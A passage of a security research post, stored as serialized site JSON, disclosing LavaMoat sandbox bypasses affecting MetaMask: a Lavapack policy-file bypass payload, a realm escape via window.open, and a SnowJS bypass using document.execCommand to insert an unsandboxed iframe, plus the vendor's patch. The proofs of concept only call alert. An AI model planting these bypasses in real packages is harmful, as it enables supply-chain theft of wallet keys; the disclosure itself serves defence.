\"xpl\",\n",{"type":21,"tag":198,"props":2443,"children":2444},{"class":200,"line":302},[2445],{"type":21,"tag":198,"props":2446,"children":2447},{"style":1233},[2448],{"type":27,"value":2449}," file: \"node_modules/xpl/index.js\",\n",{"type":21,"tag":198,"props":2451,"children":2452},{"class":200,"line":323},[2453],{"type":21,"tag":198,"props":2454,"children":2455},{"style":1233},[2456],{"type":27,"value":2457}," test: alert(document.domain),\n",{"type":21,"tag":198,"props":2459,"children":2460},{"class":200,"line":344},[2461],{"type":21,"tag":198,"props":2462,"children":2463},{"style":1233},[2464],{"type":27,"value":2465}," test1: () => { () => { () => { () => {\n",{"type":21,"tag":198,"props":2467,"children":2468},{"class":200,"line":365},[2469],{"type":21,"tag":198,"props":2470,"children":2471},{"emptyLinePlaceholder":16},[2472],{"type":27,"value":1283},{"type":21,"tag":198,"props":2474,"children":2475},{"class":200,"line":386},[2476],{"type":21,"tag":198,"props":2477,"children":2478},{"style":1233},[2479],{"type":27,"value":2480},"/*\n",{"type":21,"tag":198,"props":2482,"children":2483},{"class":200,"line":408},[2484],{"type":21,"tag":198,"props":2485,"children":2486},{"style":1233},[2487],{"type":27,"value":2488},"*/\n",{"type":21,"tag":30,"props":2490,"children":2491},{},[2492],{"type":27,"value":2493},"This allows malicious code to execute without breaking any other package or feature. This payload also makes the supply chain attack more impactful. Any injected code is executed as soon as the bundle file is imported.",{"type":21,"tag":59,"props":2495,"children":2497},{"id":2496},"lavapack-patch",[2498],{"type":27,"value":2499},"Lavapack Patch",{"type":21,"tag":30,"props":2501,"children":2502},{},[2503,2505,2511],{"type":27,"value":2504},"Metamask mitigated the issues we reported on Lavapack by defining ",{"type":21,"tag":194,"props":2506,"children":2508},{"className":2507},[],[2509],{"type":27,"value":2510},"assertValidJS",{"type":27,"value":2512},", an independent check that differs from the browserify syntax check we used to exploit the issue.",{"type":21,"tag":30,"props":2514,"children":2515},{},[2516,2518,2525],{"type":27,"value":2517},"The patch was introduced in commit ",{"type":21,"tag":34,"props":2519,"children":2522},{"href":2520,"rel":2521},"https://github.com/LavaMoat/LavaMoat/commit/9c38cd47e7875dde53349dd34971c74ce34004d9",[38],[2523],{"type":27,"value":2524},"9c38cd4",{"type":27,"value":658},{"type":21,"tag":187,"props":2527,"children":2531},{"className":2528,"code":2529,"language":2530,"meta":7,"style":7},"language-diff shiki shiki-themes slack-dark","+ function assertValidJS(code) {\n+ try {\n+ new Function(code)\n+ } catch (err) {\n+ throw new Error(`Invalid JavaScript: ${err.message}`)\n+ }\n+ }\n\n+ // additional layer of syntax checking independent of browserify\n+ assertValidJS(sourceMeta.code) \n\n","diff",[2532],{"type":21,"tag":194,"props":2533,"children":2534},{"__ignoreMap":7},[2535,2544,2552,2560,2568,2576,2584,2592,2599,2607],{"type":21,"tag":198,"props":2536,"children":2537},{"class":200,"line":201},[2538],{"type":21,"tag":198,"props":2539,"children":2541},{"style":2540},"--shiki-default:#B5CEA8",[2542],{"type":27,"value":2543},"+ function assertValidJS(code) {\n",{"type":21,"tag":198,"props":2545,"children":2546},{"class":200,"line":217},[2547],{"type":21,"tag":198,"props":2548,"children":2549},{"style":2540},[2550],{"type":27,"value":2551},"+ try {\n",{"type":21,"tag":198,"props":2553,"children":2554},{"class":200,"line":236},[2555],{"type":21,"tag":198,"props":2556,"children":2557},{"style":2540},[2558],{"type":27,"value":2559},"+ new Function(code)\n",{"type":21,"tag":198,"props":2561,"children":2562},{"class":200,"line":260},[2563],{"type":21,"tag":198,"props":2564,"children":2565},{"style":2540},[2566],{"type":27,"value":2567},"+ } catch (err) {\n",{"type":21,"tag":198,"props":2569,"children":2570},{"class":200,"line":281},[2571],{"type":21,"tag":198,"props":2572,"children":2573},{"style":2540},[2574],{"type":27,"value":2575},"+ throw new Error(`Invalid JavaScript: ${err.message}`)\n",{"type":21,"tag":198,"props":2577,"children":2578},{"class":200,"line":302},[2579],{"type":21,"tag":198,"props":2580,"children":2581},{"style":2540},[2582],{"type":27,"value":2583},"+ }\n",{"type":21,"tag":198,"props":2585,"children":2586},{"class":200,"line":323},[2587],{"type":21,"tag":198,"props":2588,"children":2589},{"style":2540},[2590],{"type":27,"value":2591},"+ }\n",{"type":21,"tag":198,"props":2593,"children":2594},{"class":200,"line":344},[2595],{"type":21,"tag":198,"props":2596,"children":2597},{"emptyLinePlaceholder":16},[2598],{"type":27,"value":1283},{"type":21,"tag":198,"props":2600,"children":2601},{"class":200,"line":365},[2602],{"type":21,"tag":198,"props":2603,"children":2604},{"style":2540},[2605],{"type":27,"value":2606},"+ // additional layer of syntax checking independent of browserify\n",{"type":21,"tag":198,"props":2608,"children":2609},{"class":200,"line":386},[2610],{"type":21,"tag":198,"props":2611,"children":2612},{"style":2540},[2613],{"type":27,"value":2614},"+ assertValidJS(sourceMeta.code)\n",{"type":21,"tag":22,"props":2616,"children":2618},{"id":2617},"hacking-js-realms",[2619],{"type":27,"value":2620},"Hacking JS Realms",{"type":21,"tag":30,"props":2622,"children":2623},{},[2624,2626,2632],{"type":27,"value":2625},"Lavamoat scuttling removes unnecessary and dangerous attributes from the ",{"type":21,"tag":194,"props":2627,"children":2629},{"className":2628},[],[2630],{"type":27,"value":2631},"globalThis",{"type":27,"value":2633}," object. However, this can be easily bypassed when Lavamoat is running in a browser context.",{"type":21,"tag":187,"props":2635,"children":2637},{"className":189,"code":2636,"language":191,"meta":7,"style":7},"const w = window.open('/non_existent');\nw.alert(document.domain)\n",[2638],{"type":21,"tag":194,"props":2639,"children":2640},{"__ignoreMap":7},[2641,2685],{"type":21,"tag":198,"props":2642,"children":2643},{"class":200,"line":201},[2644,2649,2654,2658,2663,2667,2672,2676,2681],{"type":21,"tag":198,"props":2645,"children":2646},{"style":249},[2647],{"type":27,"value":2648},"const",{"type":21,"tag":198,"props":2650,"children":2651},{"style":226},[2652],{"type":27,"value":2653}," w",{"type":21,"tag":198,"props":2655,"children":2656},{"style":683},[2657],{"type":27,"value":979},{"type":21,"tag":198,"props":2659,"children":2660},{"style":226},[2661],{"type":27,"value":2662}," window",{"type":21,"tag":198,"props":2664,"children":2665},{"style":211},[2666],{"type":27,"value":658},{"type":21,"tag":198,"props":2668,"children":2669},{"style":698},[2670],{"type":27,"value":2671},"open",{"type":21,"tag":198,"props":2673,"children":2674},{"style":211},[2675],{"type":27,"value":706},{"type":21,"tag":198,"props":2677,"children":2678},{"style":205},[2679],{"type":27,"value":2680},"'/non_existent'",{"type":21,"tag":198,"props":2682,"children":2683},{"style":211},[2684],{"type":27,"value":1470},{"type":21,"tag":198,"props":2686,"children":2687},{"class":200,"line":217},[2688,2693,2697,2701,2705,2709,2713,2717],{"type":21,"tag":198,"props":2689,"children":2690},{"style":226},[2691],{"type":27,"value":2692},"w",{"type":21,"tag":198,"props":2694,"children":2695},{"style":211},[2696],{"type":27,"value":658},{"type":21,"tag":198,"props":2698,"children":2699},{"style":698},[2700],{"type":27,"value":1291},{"type":21,"tag":198,"props":2702,"children":2703},{"style":211},[2704],{"type":27,"value":706},{"type":21,"tag":198,"props":2706,"children":2707},{"style":226},[2708],{"type":27,"value":1300},{"type":21,"tag":198,"props":2710,"children":2711},{"style":211},[2712],{"type":27,"value":658},{"type":21,"tag":198,"props":2714,"children":2715},{"style":226},[2716],{"type":27,"value":1309},{"type":21,"tag":198,"props":2718,"children":2719},{"style":211},[2720],{"type":27,"value":789},{"type":21,"tag":30,"props":2722,"children":2723},{},[2724,2726,2731],{"type":27,"value":2725},"This opens a new window with a new JS Realm (another ",{"type":21,"tag":194,"props":2727,"children":2729},{"className":2728},[],[2730],{"type":27,"value":2631},{"type":27,"value":2732}," object), and uses it to execute code in the context of the scuttled window. Note that the window needs to be same-origin and must not be scuttled.",{"type":21,"tag":30,"props":2734,"children":2735},{},[2736,2738,2745],{"type":27,"value":2737},"As a mitigation, some applications integrate SnowJS with scuttling, so every new same-origin window and iframe will be detected and scuttled (check the ",{"type":21,"tag":34,"props":2739,"children":2742},{"href":2740,"rel":2741},"https://github.com/MetaMask/metamask-extension/blob/3996f505a6a156d96077acb49579e6fc9e78cd45/app/scripts/use-snow.js#L22",[38],[2743],{"type":27,"value":2744},"Metamask implementation",{"type":27,"value":2109},{"type":21,"tag":59,"props":2747,"children":2749},{"id":2748},"snowjs-attack-surface",[2750],{"type":27,"value":2751},"SnowJS Attack Surface",{"type":21,"tag":30,"props":2753,"children":2754},{},[2755],{"type":27,"value":2756},"SnowJS is a javascript sandbox implementation that secures same-origin realms in browser applications. It is configured to detect new realms and attach them to the sandbox.",{"type":21,"tag":30,"props":2758,"children":2759},{},[2760,2762,2769],{"type":27,"value":2761},"As a mechanism, it hooks functions that can be used to create realms (an iframe, for example). For example, here are some of the ",{"type":21,"tag":34,"props":2763,"children":2766},{"href":2764,"rel":2765},"https://github.com/LavaMoat/snow/blob/ecf1add05c774b90b8baeff934b2e40585e13ca4/src/inserters.js#L9",[38],[2767],{"type":27,"value":2768},"hooked inserters",{"type":27,"value":2770}," functions:",{"type":21,"tag":187,"props":2772,"children":2774},{"className":189,"code":2773,"language":191,"meta":7,"style":7},"const map = {\n Range: ['insertNode'],\n DocumentFragment: ['replaceChildren', 'append', 'prepend'],\n Document: ['replaceChildren', 'append', 'prepend', 'write', 'writeln'],\n Node: ['appendChild', 'insertBefore', 'replaceChild'],\n Element: ['innerHTML', 'outerHTML', 'insertAdjacentHTML', 'replaceWith', 'insertAdjacentElement', 'append', 'before', 'prepend', 'after', 'replaceChildren'],\n ShadowRoot: ['innerHTML'],\n HTMLIFrameElement: ['srcdoc'],\n};\n",[2775],{"type":21,"tag":194,"props":2776,"children":2777},{"__ignoreMap":7},[2778,2798,2821,2860,2914,2953,3052,3072,3093],{"type":21,"tag":198,"props":2779,"children":2780},{"class":200,"line":201},[2781,2785,2790,2794],{"type":21,"tag":198,"props":2782,"children":2783},{"style":249},[2784],{"type":27,"value":2648},{"type":21,"tag":198,"props":2786,"children":2787},{"style":226},[2788],{"type":27,"value":2789}," map",{"type":21,"tag":198,"props":2791,"children":2792},{"style":683},[2793],{"type":27,"value":979},{"type":21,"tag":198,"props":2795,"children":2796},{"style":211},[2797],{"type":27,"value":233},{"type":21,"tag":198,"props":2799,"children":2800},{"class":200,"line":217},[2801,2806,2811,2816],{"type":21,"tag":198,"props":2802,"children":2803},{"style":226},[2804],{"type":27,"value":2805}," Range:",{"type":21,"tag":198,"props":2807,"children":2808},{"style":211},[2809],{"type":27,"value":2810}," [",{"type":21,"tag":198,"props":2812,"children":2813},{"style":205},[2814],{"type":27,"value":2815},"'insertNode'",{"type":21,"tag":198,"props":2817,"children":2818},{"style":211},[2819],{"type":27,"value":2820},"],\n",{"type":21,"tag":198,"props":2822,"children":2823},{"class":200,"line":236},[2824,2829,2833,2838,2842,2847,2851,2856],{"type":21,"tag":198,"props":2825,"children":2826},{"style":226},[2827],{"type":27,"value":2828}," DocumentFragment:",{"type":21,"tag":198,"props":2830,"children":2831},{"style":211},[2832],{"type":27,"value":2810},{"type":21,"tag":198,"props":2834,"children":2835},{"style":205},[2836],{"type":27,"value":2837},"'replaceChildren'",{"type":21,"tag":198,"props":2839,"children":2840},{"style":211},[2841],{"type":27,"value":828},{"type":21,"tag":198,"props":2843,"children":2844},{"style":205},[2845],{"type":27,"value":2846},"'append'",{"type":21,"tag":198,"props":2848,"children":2849},{"style":211},[2850],{"type":27,"value":828},{"type":21,"tag":198,"props":2852,"children":2853},{"style":205},[2854],{"type":27,"value":2855},"'prepend'",{"type":21,"tag":198,"props":2857,"children":2858},{"style":211},[2859],{"type":27,"value":2820},{"type":21,"tag":198,"props":2861,"children":2862},{"class":200,"line":260},[2863,2868,2872,2876,2880,2884,2888,2892,2896,2901,2905,2910],{"type":21,"tag":198,"props":2864,"children":2865},{"style":226},[2866],{"type":27,"value":2867}," Document:",{"type":21,"tag":198,"props":2869,"children":2870},{"style":211},[2871],{"type":27,"value":2810},{"type":21,"tag":198,"props":2873,"children":2874},{"style":205},[2875],{"type":27,"value":2837},{"type":21,"tag":198,"props":2877,"children":2878},{"style":211},[2879],{"type":27,"value":828},{"type":21,"tag":198,"props":2881,"children":2882},{"style":205},[2883],{"type":27,"value":2846},{"type":21,"tag":198,"props":2885,"children":2886},{"style":211},[2887],{"type":27,"value":828},{"type":21,"tag":198,"props":2889,"children":2890},{"style":205},[2891],{"type":27,"value":2855},{"type":21,"tag":198,"props":2893,"children":2894},{"style":211},[2895],{"type":27,"value":828},{"type":21,"tag":198,"props":2897,"children":2898},{"style":205},[2899],{"type":27,"value":2900},"'write'",{"type":21,"tag":198,"props":2902,"children":2903},{"style":211},[2904],{"type":27,"value":828},{"type":21,"tag":198,"props":2906,"children":2907},{"style":205},[2908],{"type":27,"value":2909},"'writeln'",{"type":21,"tag":198,"props":2911,"children":2912},{"style":211},[2913],{"type":27,"value":2820},{"type":21,"tag":198,"props":2915,"children":2916},{"class":200,"line":281},[2917,2922,2926,2931,2935,2940,2944,2949],{"type":21,"tag":198,"props":2918,"children":2919},{"style":226},[2920],{"type":27,"value":2921}," Node:",{"type":21,"tag":198,"props":2923,"children":2924},{"style":211},[2925],{"type":27,"value":2810},{"type":21,"tag":198,"props":2927,"children":2928},{"style":205},[2929],{"type":27,"value":2930},"'appendChild'",{"type":21,"tag":198,"props":2932,"children":2933},{"style":211},[2934],{"type":27,"value":828},{"type":21,"tag":198,"props":2936,"children":2937},{"style":205},[2938],{"type":27,"value":2939},"'insertBefore'",{"type":21,"tag":198,"props":2941,"children":2942},{"style":211},[2943],{"type":27,"value":828},{"type":21,"tag":198,"props":2945,"children":2946},{"style":205},[2947],{"type":27,"value":2948},"'replaceChild'",{"type":21,"tag":198,"props":2950,"children":2951},{"style":211},[2952],{"type":27,"value":2820},{"type":21,"tag":198,"props":2954,"children":2955},{"class":200,"line":302},[2956,2961,2965,2970,2974,2979,2983,2988,2992,2997,3001,3006,3010,3014,3018,3023,3027,3031,3035,3040,3044,3048],{"type":21,"tag":198,"props":2957,"children":2958},{"style":226},[2959],{"type":27,"value":2960}," Element:",{"type":21,"tag":198,"props":2962,"children":2963},{"style":211},[2964],{"type":27,"value":2810},{"type":21,"tag":198,"props":2966,"children":2967},{"style":205},[2968],{"type":27,"value":2969},"'innerHTML'",{"type":21,"tag":198,"props":2971,"children":2972},{"style":211},[2973],{"type":27,"value":828},{"type":21,"tag":198,"props":2975,"children":2976},{"style":205},[2977],{"type":27,"value":2978},"'outerHTML'",{"type":21,"tag":198,"props":2980,"children":2981},{"style":211},[2982],{"type":27,"value":828},{"type":21,"tag":198,"props":2984,"children":2985},{"style":205},[2986],{"type":27,"value":2987},"'insertAdjacentHTML'",{"type":21,"tag":198,"props":2989,"children":2990},{"style":211},[2991],{"type":27,"value":828},{"type":21,"tag":198,"props":2993,"children":2994},{"style":205},[2995],{"type":27,"value":2996},"'replaceWith'",{"type":21,"tag":198,"props":2998,"children":2999},{"style":211},[3000],{"type":27,"value":828},{"type":21,"tag":198,"props":3002,"children":3003},{"style":205},[3004],{"type":27,"value":3005},"'insertAdjacentElement'",{"type":21,"tag":198,"props":3007,"children":3008},{"style":211},[3009],{"type":27,"value":828},{"type":21,"tag":198,"props":3011,"children":3012},{"style":205},[3013],{"type":27,"value":2846},{"type":21,"tag":198,"props":3015,"children":3016},{"style":211},[3017],{"type":27,"value":828},{"type":21,"tag":198,"props":3019,"children":3020},{"style":205},[3021],{"type":27,"value":3022},"'before'",{"type":21,"tag":198,"props":3024,"children":3025},{"style":211},[3026],{"type":27,"value":828},{"type":21,"tag":198,"props":3028,"children":3029},{"style":205},[3030],{"type":27,"value":2855},{"type":21,"tag":198,"props":3032,"children":3033},{"style":211},[3034],{"type":27,"value":828},{"type":21,"tag":198,"props":3036,"children":3037},{"style":205},[3038],{"type":27,"value":3039},"'after'",{"type":21,"tag":198,"props":3041,"children":3042},{"style":211},[3043],{"type":27,"value":828},{"type":21,"tag":198,"props":3045,"children":3046},{"style":205},[3047],{"type":27,"value":2837},{"type":21,"tag":198,"props":3049,"children":3050},{"style":211},[3051],{"type":27,"value":2820},{"type":21,"tag":198,"props":3053,"children":3054},{"class":200,"line":323},[3055,3060,3064,3068],{"type":21,"tag":198,"props":3056,"children":3057},{"style":226},[3058],{"type":27,"value":3059}," ShadowRoot:",{"type":21,"tag":198,"props":3061,"children":3062},{"style":211},[3063],{"type":27,"value":2810},{"type":21,"tag":198,"props":3065,"children":3066},{"style":205},[3067],{"type":27,"value":2969},{"type":21,"tag":198,"props":3069,"children":3070},{"style":211},[3071],{"type":27,"value":2820},{"type":21,"tag":198,"props":3073,"children":3074},{"class":200,"line":344},[3075,3080,3084,3089],{"type":21,"tag":198,"props":3076,"children":3077},{"style":226},[3078],{"type":27,"value":3079}," HTMLIFrameElement:",{"type":21,"tag":198,"props":3081,"children":3082},{"style":211},[3083],{"type":27,"value":2810},{"type":21,"tag":198,"props":3085,"children":3086},{"style":205},[3087],{"type":27,"value":3088},"'srcdoc'",{"type":21,"tag":198,"props":3090,"children":3091},{"style":211},[3092],{"type":27,"value":2820},{"type":21,"tag":198,"props":3094,"children":3095},{"class":200,"line":365},[3096],{"type":21,"tag":198,"props":3097,"children":3098},{"style":211},[3099],{"type":27,"value":2357},{"type":21,"tag":30,"props":3101,"children":3102},{},[3103],{"type":27,"value":3104},"This means that an attacker can't use any of these functions to create an iframe and bypass the snowJS sandbox, because it will detect the new frame and include it in the sandbox.",{"type":21,"tag":30,"props":3106,"children":3107},{},[3108],{"type":27,"value":3109},"Unfortunately, client-side javascript is surprisingly complex with lots of strange behaviours that could be used to bypass the hook security feature.",{"type":21,"tag":59,"props":3111,"children":3113},{"id":3112},"bypassing-snowjs",[3114],{"type":27,"value":3115},"Bypassing SnowJS",{"type":21,"tag":30,"props":3117,"children":3118},{},[3119,3121,3132,3134,3140],{"type":27,"value":3120},"The deprecated ",{"type":21,"tag":34,"props":3122,"children":3125},{"href":3123,"rel":3124},"https://developer.mozilla.org/en-US/docs/Web/API/Document/execCommand",[38],[3126],{"type":21,"tag":194,"props":3127,"children":3129},{"className":3128},[],[3130],{"type":27,"value":3131},"document.execCommand",{"type":27,"value":3133}," function is used to execute commands inside a ",{"type":21,"tag":194,"props":3135,"children":3137},{"className":3136},[],[3138],{"type":27,"value":3139},"contenteditable",{"type":27,"value":3141}," focused context. Despite this being a deprecated function, it is still supported by modern browsers.",{"type":21,"tag":187,"props":3143,"children":3147},{"className":3144,"code":3145,"language":3146,"meta":7,"style":7},"language-html shiki shiki-themes slack-dark","\u003Cdiv id=test contenteditable autofocus>\u003C/div>\n","html",[3148],{"type":21,"tag":194,"props":3149,"children":3150},{"__ignoreMap":7},[3151],{"type":21,"tag":198,"props":3152,"children":3153},{"class":200,"line":201},[3154,3160,3165,3170,3175,3180,3185,3190,3195,3199],{"type":21,"tag":198,"props":3155,"children":3157},{"style":3156},"--shiki-default:#808080",[3158],{"type":27,"value":3159},"\u003C",{"type":21,"tag":198,"props":3161,"children":3162},{"style":249},[3163],{"type":27,"value":3164},"div",{"type":21,"tag":198,"props":3166,"children":3167},{"style":226},[3168],{"type":27,"value":3169}," id",{"type":21,"tag":198,"props":3171,"children":3172},{"style":211},[3173],{"type":27,"value":3174},"=",{"type":21,"tag":198,"props":3176,"children":3177},{"style":205},[3178],{"type":27,"value":3179},"test",{"type":21,"tag":198,"props":3181,"children":3182},{"style":226},[3183],{"type":27,"value":3184}," contenteditable",{"type":21,"tag":198,"props":3186,"children":3187},{"style":226},[3188],{"type":27,"value":3189}," autofocus",{"type":21,"tag":198,"props":3191,"children":3192},{"style":3156},[3193],{"type":27,"value":3194},">\u003C/",{"type":21,"tag":198,"props":3196,"children":3197},{"style":249},[3198],{"type":27,"value":3164},{"type":21,"tag":198,"props":3200,"children":3201},{"style":3156},[3202],{"type":27,"value":3203},">\n",{"type":21,"tag":30,"props":3205,"children":3206},{},[3207,3209,3215,3217,3222],{"type":27,"value":3208},"After inserting this element to a page, it is possible to use ",{"type":21,"tag":194,"props":3210,"children":3212},{"className":3211},[],[3213],{"type":27,"value":3214},"insertHTML",{"type":27,"value":3216}," command of ",{"type":21,"tag":194,"props":3218,"children":3220},{"className":3219},[],[3221],{"type":27,"value":3131},{"type":27,"value":3223}," to add a non-sandboxed iframe.",{"type":21,"tag":187,"props":3225,"children":3227},{"className":189,"code":3226,"language":191,"meta":7,"style":7},"document.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\n",[3228],{"type":21,"tag":194,"props":3229,"children":3230},{"__ignoreMap":7},[3231],{"type":21,"tag":198,"props":3232,"children":3233},{"class":200,"line":201},[3234,3238,3242,3247,3251,3256,3260,3265,3269,3274],{"type":21,"tag":198,"props":3235,"children":3236},{"style":226},[3237],{"type":27,"value":1300},{"type":21,"tag":198,"props":3239,"children":3240},{"style":211},[3241],{"type":27,"value":658},{"type":21,"tag":198,"props":3243,"children":3244},{"style":698},[3245],{"type":27,"value":3246},"execCommand",{"type":21,"tag":198,"props":3248,"children":3249},{"style":211},[3250],{"type":27,"value":706},{"type":21,"tag":198,"props":3252,"children":3253},{"style":205},[3254],{"type":27,"value":3255},"'insertHTML'",{"type":21,"tag":198,"props":3257,"children":3258},{"style":211},[3259],{"type":27,"value":828},{"type":21,"tag":198,"props":3261,"children":3262},{"style":249},[3263],{"type":27,"value":3264},"false",{"type":21,"tag":198,"props":3266,"children":3267},{"style":211},[3268],{"type":27,"value":828},{"type":21,"tag":198,"props":3270,"children":3271},{"style":205},[3272],{"type":27,"value":3273},"'\u003Ciframe srcdoc=\"aaa\">'",{"type":21,"tag":198,"props":3275,"children":3276},{"style":211},[3277],{"type":27,"value":1470},{"type":21,"tag":59,"props":3279,"children":3281},{"id":3280},"impact-on-lavamoat-scuttling",[3282],{"type":27,"value":3283},"Impact On Lavamoat Scuttling",{"type":21,"tag":30,"props":3285,"children":3286},{},[3287],{"type":27,"value":3288},"As it is recommended to use snowJS integrated with Lavamoat scuttling to prevent bypasses, it is possible to completely bypass the scuttling feature without pre-conditions.",{"type":21,"tag":30,"props":3290,"children":3291},{},[3292,3294,3299,3301,3306],{"type":27,"value":3293},"For the exploit, the only used functions are in ",{"type":21,"tag":194,"props":3295,"children":3297},{"className":3296},[],[3298],{"type":27,"value":1300},{"type":27,"value":3300}," object, which can never be scuttled once it is a non-writable and non-configurable property in ",{"type":21,"tag":194,"props":3302,"children":3304},{"className":3303},[],[3305],{"type":27,"value":2631},{"type":27,"value":3307}," object.",{"type":21,"tag":30,"props":3309,"children":3310},{},[3311,3313,3318],{"type":27,"value":3312},"Consider this example, which runs a scuttled ",{"type":21,"tag":194,"props":3314,"children":3316},{"className":3315},[],[3317],{"type":27,"value":1291},{"type":27,"value":3319}," function:",{"type":21,"tag":187,"props":3321,"children":3323},{"className":189,"code":3322,"language":191,"meta":7,"style":7},"document.body.innerHTML = \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\";\ndocument.getElementById('test').focus();\ndocument.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\ndocument.getElementsByTagName('iframe')[0].contentWindow.alert(document.domain);\n",[3324],{"type":21,"tag":194,"props":3325,"children":3326},{"__ignoreMap":7},[3327,3365,3405,3448],{"type":21,"tag":198,"props":3328,"children":3329},{"class":200,"line":201},[3330,3334,3338,3343,3347,3352,3356,3361],{"type":21,"tag":198,"props":3331,"children":3332},{"style":226},[3333],{"type":27,"value":1300},{"type":21,"tag":198,"props":3335,"children":3336},{"style":211},[3337],{"type":27,"value":658},{"type":21,"tag":198,"props":3339,"children":3340},{"style":226},[3341],{"type":27,"value":3342},"body",{"type":21,"tag":198,"props":3344,"children":3345},{"style":211},[3346],{"type":27,"value":658},{"type":21,"tag":198,"props":3348,"children":3349},{"style":226},[3350],{"type":27,"value":3351},"innerHTML",{"type":21,"tag":198,"props":3353,"children":3354},{"style":683},[3355],{"type":27,"value":979},{"type":21,"tag":198,"props":3357,"children":3358},{"style":205},[3359],{"type":27,"value":3360}," \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\"",{"type":21,"tag":198,"props":3362,"children":3363},{"style":211},[3364],{"type":27,"value":1483},{"type":21,"tag":198,"props":3366,"children":3367},{"class":200,"line":217},[3368,3372,3376,3381,3385,3390,3395,3400],{"type":21,"tag":198,"props":3369,"children":3370},{"style":226},[3371],{"type":27,"value":1300},{"type":21,"tag":198,"props":3373,"children":3374},{"style":211},[3375],{"type":27,"value":658},{"type":21,"tag":198,"props":3377,"children":3378},{"style":698},[3379],{"type":27,"value":3380},"getElementById",{"type":21,"tag":198,"props":3382,"children":3383},{"style":211},[3384],{"type":27,"value":706},{"type":21,"tag":198,"props":3386,"children":3387},{"style":205},[3388],{"type":27,"value":3389},"'test'",{"type":21,"tag":198,"props":3391,"children":3392},{"style":211},[3393],{"type":27,"value":3394},").",{"type":21,"tag":198,"props":3396,"children":3397},{"style":698},[3398],{"type":27,"value":3399},"focus",{"type":21,"tag":198,"props":3401,"children":3402},{"style":211},[3403],{"type":27,"value":3404},"();\n",{"type":21,"tag":198,"props":3406,"children":3407},{"class":200,"line":236},[3408,3412,3416,3420,3424,3428,3432,3436,3440,3444],{"type":21,"tag":198,"props":3409,"children":3410},{"style":226},[3411],{"type":27,"value":1300},{"type":21,"tag":198,"props":3413,"children":3414},{"style":211},[3415],{"type":27,"value":658},{"type":21,"tag":198,"props":3417,"children":3418},{"style":698},[3419],{"type":27,"value":3246},{"type":21,"tag":198,"props":3421,"children":3422},{"style":211},[3423],{"type":27,"value":706},{"type":21,"tag":198,"props":3425,"children":3426},{"style":205},[3427],{"type":27,"value":3255},{"type":21,"tag":198,"props":3429,"children":3430},{"style":211},[3431],{"type":27,"value":828},{"type":21,"tag":198,"props":3433,"children":3434},{"style":249},[3435],{"type":27,"value":3264},{"type":21,"tag":198,"props":3437,"children":3438},{"style":211},[3439],{"type":27,"value":828},{"type":21,"tag":198,"props":3441,"children":3442},{"style":205},[3443],{"type":27,"value":3273},{"type":21,"tag":198,"props":3445,"children":3446},{"style":211},[3447],{"type":27,"value":1470},{"type":21,"tag":198,"props":3449,"children":3450},{"class":200,"line":260},[3451,3455,3459,3464,3468,3473,3478,3483,3488,3493,3497,3501,3505,3509,3513,3517],{"type":21,"tag":198,"props":3452,"children":3453},{"style":226},[3454],{"type":27,"value":1300},{"type":21,"tag":198,"props":3456,"children":3457},{"style":211},[3458],{"type":27,"value":658},{"type":21,"tag":198,"props":3460,"children":3461},{"style":698},[3462],{"type":27,"value":3463},"getElementsByTagName",{"type":21,"tag":198,"props":3465,"children":3466},{"style":211},[3467],{"type":27,"value":706},{"type":21,"tag":198,"props":3469,"children":3470},{"style":205},[3471],{"type":27,"value":3472},"'iframe'",{"type":21,"tag":198,"props":3474,"children":3475},{"style":211},[3476],{"type":27,"value":3477},")[",{"type":21,"tag":198,"props":3479,"children":3480},{"style":2540},[3481],{"type":27,"value":3482},"0",{"type":21,"tag":198,"props":3484,"children":3485},{"style":211},[3486],{"type":27,"value":3487},"].",{"type":21,"tag":198,"props":3489,"children":3490},{"style":226},[3491],{"type":27,"value":3492},"contentWindow",{"type":21,"tag":198,"props":3494,"children":3495},{"style":211},[3496],{"type":27,"value":658},{"type":21,"tag":198,"props":3498,"children":3499},{"style":698},[3500],{"type":27,"value":1291},{"type":21,"tag":198,"props":3502,"children":3503},{"style":211},[3504],{"type":27,"value":706},{"type":21,"tag":198,"props":3506,"children":3507},{"style":226},[3508],{"type":27,"value":1300},{"type":21,"tag":198,"props":3510,"children":3511},{"style":211},[3512],{"type":27,"value":658},{"type":21,"tag":198,"props":3514,"children":3515},{"style":226},[3516],{"type":27,"value":1309},{"type":21,"tag":198,"props":3518,"children":3519},{"style":211},[3520],{"type":27,"value":1470},{"type":21,"tag":59,"props":3522,"children":3524},{"id":3523},"snowjs-patch",[3525],{"type":27,"value":3526},"SnowJS Patch",{"type":21,"tag":30,"props":3528,"children":3529},{},[3530,3532,3539,3541,3548],{"type":27,"value":3531},"Metamask is working on conceptual changes and aiming to integrate SnowJS as a ",{"type":21,"tag":34,"props":3533,"children":3536},{"href":3534,"rel":3535},"https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html#talk",[38],[3537],{"type":27,"value":3538},"browser feature within W3C standards",{"type":27,"value":3540},", with the intention of addressing not only this issue, but also all other well-known issues with SnowJS. ",{"type":21,"tag":34,"props":3542,"children":3545},{"href":3543,"rel":3544},"https://github.com/weizman/Realms-Initialization-Control",[38],[3546],{"type":27,"value":3547},"Here",{"type":27,"value":3549}," is their new proposal.",{"type":21,"tag":22,"props":3551,"children":3553},{"id":3552},"chaining-the-impacts",[3554],{"type":27,"value":3555},"Chaining The Impacts",{"type":21,"tag":30,"props":3557,"children":3558},{},[3559],{"type":27,"value":3560},"We were able to find two vulnerabilities in lavamoat project:",{"type":21,"tag":71,"props":3562,"children":3563},{},[3564,3569],{"type":21,"tag":75,"props":3565,"children":3566},{},[3567],{"type":27,"value":3568},"Policy File Bypass",{"type":21,"tag":75,"props":3570,"children":3571},{},[3572],{"type":27,"value":3573},"Scuttling Bypass",{"type":21,"tag":30,"props":3575,"children":3576},{},[3577],{"type":27,"value":3578},"By combining the exploits, it is possible to completely bypass lavamoat supply-chain protections using a compromised dependency.",{"type":21,"tag":30,"props":3580,"children":3581},{},[3582],{"type":27,"value":3583},"Using Metamask as an example, these exploits could be used to retrieve the encrypted keypair in extension storage. The only precondition would be compromising a NPM dependency.",{"type":21,"tag":22,"props":3585,"children":3587},{"id":3586},"conclusion",[3588],{"type":27,"value":3589},"Conclusion",{"type":21,"tag":30,"props":3591,"children":3592},{},[3593],{"type":27,"value":3594},"The vulnerability within the Lavapack module sandboxing, along with the issues we discussed regarding 